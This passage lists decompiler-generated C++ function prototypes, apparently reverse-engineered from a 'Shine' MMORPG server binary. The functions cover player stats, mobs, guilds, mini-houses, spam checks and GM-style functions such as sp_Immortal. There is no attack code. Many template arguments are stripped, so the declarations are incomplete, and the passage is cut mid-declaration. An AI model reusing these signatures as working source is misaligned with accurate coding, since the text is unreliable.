ShineObjectClass::ShinePlayer::so_RunSpeed(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_GetWMSHandle(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetCharRegistNumber(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetUserRegistNumber(int this); int __thiscall ShineObjectClass::ShinePlayer::so_LoginLocation(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr); int __thiscall ShineObjectClass::ShinePlayer::so_fullbufferitem_box(int this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, ItemBag *bag); int __thiscall ShineObjectClass::ShinePlayer::so_Heal(void *this, int heal); int __thiscall ShineObjectClass::ShinePlayer::so_GetHP(int this); int __thiscall ShineObjectClass::ShinePlayer::so_GetSP(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostSP(int this, unsigned int a2); int __thiscall ShineObjectClass::ShinePlayer::so_GainSP(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::smo_ZeroHP(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_LostHP(void *this, int hp); int __thiscall ShineObjectClass::ShinePlayer::so_GainHP(void *this, int hp); __int16 __thiscall ShineObjectClass::ShinePlayer::so_RemakeHandle(void *this, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::so_SetSocketSession(int this, int session); int __thiscall ShineObjectClass::ShinePlayer::so_Getabstatebit(int this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber(int this); void __thiscall ShineObjectClass::ShinePlayer::so_LearnPassive(void *this, unsigned __int16 skill); char __thiscall ShineObjectClass::ShinePlayer::so_tradestart(int this, int a2); int __thiscall ShineObjectClass::ShinePlayer::so_TradeBoardreset(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_reinforce_reloc(#592 *, char *, int, int); void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_close(void *this, __int16 menutype); char __thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_canmenuopen(int this, unsigned __int16 menu); void *__thiscall ShineObjectClass::ShinePlayer::so_ply_dupmenu_Set(void *this, __int16 menutype); int __thiscall ShineObjectClass::ShinePlayer::so_ply_TotalSkillEmpower(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_skillempowerclear(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreMoney(int this, int cen, int a3); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreFame(int this, int fame); int __thiscall ShineObjectClass::ShinePlayer::sp_lastpickuptime(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyRecharge(void *this, int recoverate); char __thiscall CharaterSkillList::csl_SPCheck(CharaterSkillList *this, #331 *, unsigned __int16, SkillDataBox::SkillDataIndex *, SKILL_EMPOWER *, char); int __thiscall ShineObjectClass::ShinePlayer::so_GetCharacterTitle(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_GetStatDistStr(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetInventoryLockList(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetGender(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildNo(int this, int gldnum); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuild(int this, int gld); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildStorageHandle(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildStorageHandle(int this, __int16 nGuildStorageHandle); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyRewardStorageHandle(void *this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyRewardStorageHandle(int this, __int16 nGuildAcademyRewardStorageHandle); int __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestDiary(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_TreasureChestLocationManager(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_InventorySize(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StorageSize(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_StreetBoothSlot(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedEffectContainer(void *this); signed int __cdecl ShineObjectClass::ShinePlayer::smo_BattleKillScore(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_AllCastCancel(int this); ShineCommonParameter::FreeStatStr *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatStr(void *this); ShineCommonParameter::FreeStatInt *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatInt(void *this); ShineCommonParameter::FreeStatDex *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatDex(void *this); ShineCommonParameter::FreeStatCon *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatCon(void *this); ShineCommonParameter::FreeStatMen *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatMen(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedStatPlus(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_ply_RemoveWhen(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_IncNGet_PKCount(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HideMyIdentity(int this); int __thiscall ShineObjectClass::ShinePlayer::smo_GMChatColor(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademy(int this, int gld); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyNo(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyNo(int this, int gldnum); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isAcademyGuildMember(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isIAmGuildAcademyMaster(void *this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundReq(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundReq(int this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundCancelReq(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundCancelReq(int this); char __thiscall ShineObjectClass::ShinePlayer::so_GetPossibleNewConnect(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_FreeStat_Get_DecreaseNum(int this, int Stat, unsigned __int8 a3); char __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_IsLock(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_Lock(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_UnLock(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_PacketBufferFlush(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_StoreCharData(void *this, unsigned __int16 handle, char *fromwhere); void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, int charmode, ZoneCharData *chardata, CHARTITLE_BRIEFINFO *chartitle, char *fromwhere); int __thiscall ShineObjectClass::ShinePlayer::so_FillBriefInformation(int this, int array); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxHP(void *this); unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxSP(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_MaxSP(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime(int this); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime_AfterSkill(int this, int animation_millisec); signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetHandle(int this); int __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetObject(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQSuccess(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQFail(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceFoldtent(void *this); void __thiscall ShineObjectClass::ShineNPC::_ShineNPC(ShineObjectClass::ShineNPC *this); ShineRTTI *__thiscall ShineObjectClass::ShineNPC::GetRTTI(ShineObjectClass::ShineNPC *this); int __thiscall CharClassFighter::cc_BaseClass(ORFieldIndex *this); void __thiscall ShineObjectClass::ShineNPC::so_SetGateBriefInform(ShineObjectClass::ShineNPC *this, char *linktoclient); unsigned __int16 __thiscall ShineObjectClass::ShineNPC::so_RemakeHandle(ShineObjectClass::ShineNPC *this, unsigned __int16 handle); void *__thiscall ShineObjectClass::ShinePlayer::_vector_deleting_destructor_(unsigned int); void *__thiscall ShineObjectClass::ShineNPC::_vector_deleting_destructor_(ShineObjectClass::ShineNPC *this, unsigned int); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, const unsigned int *_Val); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L182251(int a1); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L182371(int a1); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, const unsigned int *_Val); char __thiscall ShineObjectManager::som_FreeObject(ShineObjectManager *this, unsigned __int16 hnd, ShineObjectClass::RemoveWhen when, int flag); signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Kickout(void *this); signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Logout(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTREADY_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_Unmark(void *this, int when, char logoutpacket, unsigned __int8 SaveType); void __thiscall ShineObjectClass::ShineAxialFlag::ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this); int __thiscall ShineObjectClass::ShinePlayer::ShinePlayer(void *hd); void __thiscall ShineObjectClass::ShinePlayer::so_banning(void *this, int when); void __thiscall ShineObjectClass::ShinePlayer::so_LearnSkill(int this, unsigned __int16 skill); void __thiscall CharaterSkillList::csl_Learn(CharaterSkillList *this, unsigned __int16 skill); void __thiscall std::vector>::push_back(std::vector > *this, CharaterSkillList::CharSkill *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, CharaterSkillList::CharSkill *_Val); void *__thiscall ShineObjectClass::ShineMob::ShineMob(void *hd); void __thiscall ShineObjectClass::ShineBandit::ShineBandit(ShineObjectClass::ShineBandit *this); void __thiscall ShineObjectClass::ShineServant::ShineServant(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineNPC::ShineNPC(ShineObjectClass::ShineNPC *this); void __thiscall ShineObjectManager::som_Initialize(ShineObjectManager *this); char __thiscall ShineObjectClass::ShineMobileObject::smo_SetCaptivate(void *this, char bValue); char __thiscall ShineObjectClass::ShineMobileObject::smo_IsCaptivate(int this); int __thiscall ShineObjectClass::ShineMob::smo_mob_RegenAfterLogout(void *this); char __thiscall ShineObjectClass::ShineMobileObject::smo_IsActiveMode(void *this); void __thiscall ShineObjectClass::ShineMobileObject::smo_LoginAfterLogout(void *this, int newloc); void __thiscall ShineObjectClass::ShineMob::smo_LoginAfterLogout(void *this, int newloc); void __thiscall AxialListDeathAura::_AxialListDeathAura(AxialListDeathAura *this); int __thiscall ShineObjectClass::ShinePlayer::sp_HPChangeCheck(void *this, int delta, int plusminus, int fnc); void __cdecl ShineObjectClass::ShinePlayer::sp_NoAdmin(); char __thiscall AxialListDeathAura::ali_Work(AxialListDeathAura *this, #331 *, #331 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_DeathAura(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_Immortal(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_KillAllMob(void *this); char __thiscall ShineObjectClass::ShineMob::sm_IsUseSkill(void *this, __int16 skillid); void __thiscall ShineObjectClass::ShineMob::so_mob_SetLifeTime(int this, int Time); void __cdecl ShineObjectClass::ShineMob::sm_DamageSet(#440 *, char *, char *, char *, char *, char *, char *, char *, char *, char *, char *); void __thiscall ShineObjectClass::ShinePlayer::sp_SetTotalMoveSpeed(int this, int unSpeed); int __thiscall ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData(int this); int __thiscall ShineObjectClass::ShinePlayer::smo_CaptivateStateTask(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_IsIgnoreCoolTime(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime(int this, char bValue); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsNormalAttack(int this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendAutoPickToClient(void *this, char bEnable); char __thiscall ShineObjectClass::ShinePlayer::sp_SaveAutoPick(int this, char bEnable); char __thiscall ShineObjectClass::ShinePlayer::sp_GetAutoPick(int this); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsAutoPickEnableState(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_OutMap_AndSendErrorMsg(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_In_MapAndSendErrorMsg(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GtItemEffectMsg(void *this, __int16 nIndexID); void __thiscall ShineObjectClass::ShinePlayer::sp_StateChangeToNormal(void *this); char __thiscall ShineObjectClass::ShinePlayer::sp_SpamInitSpamerInfo(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(int this); int __thiscall ShineObjectClass::ShinePlayer::so_SetAutoSaveTime(int this, int tCurrentTime, int NextTime); signed int __thiscall ShineObjectClass::ShinePlayer::sp_GetEmptyItemInventoryCount(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_SetMysteryVaultUI(int this, char val); int __thiscall ShineObjectClass::ShinePlayer::so_SetSpamerChatBan(int this, int ChatBan); bool __thiscall ShineObjectClass::ShinePlayer::sp_IsSpameChatBan(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_SAVE_LINK_REQ(int this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_SpamSendDataToCharDB(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSetBlock(void *this, unsigned int CurrentTime); void __thiscall ShineObjectClass::ShinePlayer::sp_SpamSendDataToWM(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_SingleOptionSave2World(void *this); KQContribute::PlayerContribute *__cdecl std::copy_backward(KQContribute::PlayerContribute *_First, KQContribute::PlayerContribute *_Last, KQContribute::PlayerContribute *_Dest); char __thiscall ShineObjectClass::ShinePlayer::sp_SpamCheck(void *this); void __cdecl std::_Uninit_fill_n>(KQContribute::PlayerContribute *_First, unsigned int _Count, KQContribute::PlayerContribute *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); KQContribute::PlayerContribute *__cdecl std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, KQContribute::PlayerContribute *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall ShineObjectClass::ShinePlayer::smo_SetCaptivate(void *this, char bValue); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Xran(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ShineObjectClass::ListUp *_Val); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L161920(int a1); ShineObjectClass::ListUp *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos); bool __cdecl _ErrorSendPlayer(#331 *, int, const char *); int __thiscall ShineObjectClass::ShinePlayer::sp_SetAutoPick(_DWORD, _DWORD); // weak void __thiscall std::vector>::push_back(std::vector > *this, ShineObjectClass::ListUp *_Val); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_AUTO_PICK_REQ(void *this, int netcmd, int len, __int16 handle); // void __userpurge ShineObjectClass::ShinePlayer::sp_MysteryVaultMakeItem(int a1, int a2, int itm, int pError); char __thiscall FieldMap::fm_IsInFieldSize(int this, int xy); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall SkillCastFinish::scf_Routine(SkillCastFinish *this, #440 *sp); void __thiscall CeaseFireSender::cfs_Send(CeaseFireSender *this); void __thiscall CeaseFireSender::cfs_Routine(CeaseFireSender *this, #440 *sp); void __thiscall AxialListMagicFieldDamage::AxialListMagicFieldDamage(AxialListMagicFieldDamage *this, ShineObjectClass::ShineMagicField::MagicFieldOwnerInform *owner, char battlefield, char guildwar, SHINE_XY_TYPE *center); void __thiscall AxialListMagicFieldDamage::_AxialListMagicFieldDamage(AxialListMagicFieldDamage *this); void __thiscall AxialListRescueRequest::AxialListRescueRequest(AxialListRescueRequest *this, #331 *, MobInfoServer::MobRace, int, char); void __thiscall AxialListRescueRequest::_AxialListRescueRequest(AxialListRescueRequest *this); int __thiscall ShineObjectClass::ShineMob::so_GetTargetInfo(int this, int a2); char __thiscall ShineObjectClass::ShinePlayer::so_ply_BanByServerDisconnect(int this, int lst, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceRun(int this, int xy, __int16 com, int flag); char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInFear(int this); void __thiscall ShineObjectClass::ShineDropItem::so_relink(ShineObjectClass::ShineDoor *this, int flag); int __thiscall ShineObjectClass::ShineMob::so_relink(void *this, int flag); int __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall SlantedListNormalizer::_SlantedListNormalizer(SlantedListNormalizer *this); void __thiscall ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet(void *this, __int16 mob); void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(void *this, unsigned __int8 reference, unsigned __int16 type, int value); char __thiscall ShineObjectClass::ShineEffectObject::so_Routine(ShineObjectClass::ShineEffectObject *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineDoor::so_Routine(ShineObjectClass::ShineDoor *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineMiniHouse::so_Routine(ShineObjectClass::ShineMiniHouse *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineObject::so_drpitm_BriefInfo(#331 *this, #331 *, unsigned int); char __thiscall AxialListMagicFieldDamage::alns_ValidObject(AxialListMagicFieldDamage *this, #331 *obj); void __thiscall AxialListMagicFieldDamage::almfd_ApplyDamage(AxialListMagicFieldDamage *this, SkillDataBox::SkillDataIndex *idx, SKILL_EMPOWER *empower); char __thiscall ShineObjectClass::ShineMagicField::so_Routine(ShineObjectClass::ShineMagicField *this, List *lst, unsigned __int16 handle); char __thiscall AxialListRescueRequest::ali_Work(AxialListRescueRequest *this, #331 *, #331 *, unsigned int); void __thiscall ShineObjectClass::ShineMob::sm_Scream4Rescue(#331 *, int, int, char); char __thiscall ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe(#331 *this, #331 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::so_GetTargetInfo(void *ply, int a2); void __thiscall ShineObjectClass::ShineMob::so_RescueRoutine(void *this); void __thiscall ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime(void *this, __int16 skl, int sec); void __thiscall ShineObjectClass::ShineMobileObject::smo_RunInFear(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_MoveByServer(void *this, int xy, __int16 someone, int me, int mm, int flag); ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck(ShineObjectClass::ShinePlayer::TimeScheduler *this, #440 *sp); void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::TimeScheduler(ShineObjectClass::ShinePlayer::TimeScheduler *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemActivCheck(void *this, int a2, __int16 a3); void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemDelete(void *ecx0, ItemInform_ActionItem *this, __int16 a3, __int16 a4, int a5); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet(void *this, __int16 mob); char __thiscall ShineObjectClass::ShineMobileObject::so_Routine(void *this, int lst, __int16 handle); char __thiscall ShineObjectClass::ShineNPC::so_Routine(ShineObjectClass::ShineNPC *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineDropItem::so_Routine(ShineObjectClass::ShineDropItem *this, List *lst, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip(void *this); void __thiscall ShineObjectClass::ShineMob::sm_DuringRecover(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck(void *this, int a2, __int16 a3); void __thiscall ShineObjectClass::ShineMob::sm_DuringBattle(void *this); int __thiscall ShineObjectClass::ShineMob::so_Routine(_DWORD, _DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShineServant::so_Routine(ShineObjectClass::ShineServant *this, List *lst, unsigned __int16 handle); char __thiscall ShineObjectClass::ShineBandit::so_Routine(ShineObjectClass::ShineBandit *this, List *lst, unsigned __int16 handle); void __thiscall std::vector>::_Xran(std::vector > *this); char __thiscall ShineObjectClass::ShineAxialFlag::so_Routine(ShineObjectClass::ShineAxialFlag *this, List *lst, unsigned __int16 handle); int __thiscall ShineObjectClass::ShineMob::so_mobile_GetGuildRegnum(int this); int __thiscall ShineObjectClass::ShinePlayer::so_mobile_GetGuildRegnum(int this); void __thiscall ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear(ShineObjectClass::ShinePlayer::PartyMemberInform *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendHPinform(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendSPinform(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_partylogout(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_partymemberlogin(void *this, int member); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo(void *this); char __thiscall ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(void *this, int camp); char __thiscall ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo(void *this, int ride); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildAcademyInfo(void *this); signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable(void *this, int efftype); signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUpdate(int pDBAck); signed __int16 __stdcall ShineObjectClass::ShineObject::so_ply_MH_FurnitureEndureUse(int pFurnitureEndureKitUseReq); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_LIST_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_ADD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_DEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MINIHOUSE_DB_VISITER_COUNT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_MINIHOUSE_EFFECT_DEMANDGOOD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionInfo(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_InitFurnitureEmotionInfo(int this); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotion(int this, __int16 nFurnitureHnd); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionPosition(int this, __int16 nFurnitureHnd, char nPosition); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_IsFurnitureEmotionNo(int this, char nEmotionNo); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotion(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionPosition(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetFurnitureEmotionNo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotion(int this, __int16 nFurnitureHnd); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionPosition(int this, char nPosition); char __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetFurnitureEmotionNo(int this, char nEmotionNo); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetNextFurnitureHandle(ShineObjectClass::ShineMiniHouse *this); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetActiveMH(int this); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_SetMyHandle(int this, __int16 MHRegNum); __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_MH_GetMyHandle(int this); #331 *__thiscall ShineObjectClass::ShinePlayer::so_mh_GetMinihouse(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(int this, int pEvent); int __thiscall ShineObjectClass::ShinePlayer::sp_GetRollBackPosEvent(int this); char __thiscall ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(int this); void __thiscall InventoryLocking::InventoryCellLock::icl_OnlyLock(CQuest *this, unsigned __int16 *nLocation, unsigned int *LocationX, unsigned int *LocationY); char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryMiniHouseEntrance *content); void __thiscall GameDBSession::gds_NC_ITEMDB_FURNITURE_ENDURE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISIT_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle); char *__thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseGetMHInfo(void *this); void __stdcall ShineObjectClass::ShineObject::registerObsersver(int observer); void __thiscall ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting(void *this); std::vector >::iterator *__cdecl std::find>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, Observer *_Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_Observer>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, Observer *_Val); std::vector >::iterator *__cdecl std::remove_copy_if>::iterator_std::vector>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, has_same_master _Pred); std::vector >::iterator *__cdecl std::remove_if>::iterator_has_same_master>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, has_same_master _Pred); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_BUILDING_REQ(void *this, int netcmd, int len, __int16 handle); std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersver(std::vector >::iterator this, Observer *observer); std::vector >::iterator *__thiscall ShineObjectClass::ShinePlayer::unregisterObsersvers(int this, has_same_master result); void __thiscall ShineObjectClass::ShinePlayer::notifyObservers(int this, int happen, int DwParam, int SDwParam); void __thiscall std::vector>::push_back(std::vector > *this, Observer *_Val); void __thiscall ShineObjectClass::ShinePlayer::registerObsersver(void *this, Observer *observer); void __thiscall ShineQuestDiary::ShineQuestDiary(ShineQuestDiary *this); void __thiscall ShineQuestDiary::_ShineQuestDiary(ShineQuestDiary *this); void __stdcall ShineObjectClass::ShineObject::so_ply_QuestCheck(int qf, int a2, int a3, int mobinf); void __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestCheck(void *this, void (__thiscall *qf)(_DWORD, _DWORD, _DWORD, _DWORD), int a3, int a4, int mobinf); void __thiscall ShineQuestDiary::sqd_MobDead(ShineQuestDiary *this, #331 *, #331 *, MobDataBox::MobDataBoxIndex *); void __stdcall ShineObjectClass::ShineObject::so_ply_ItemLotChange(__int16 item, int delta); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotChange(void *this, 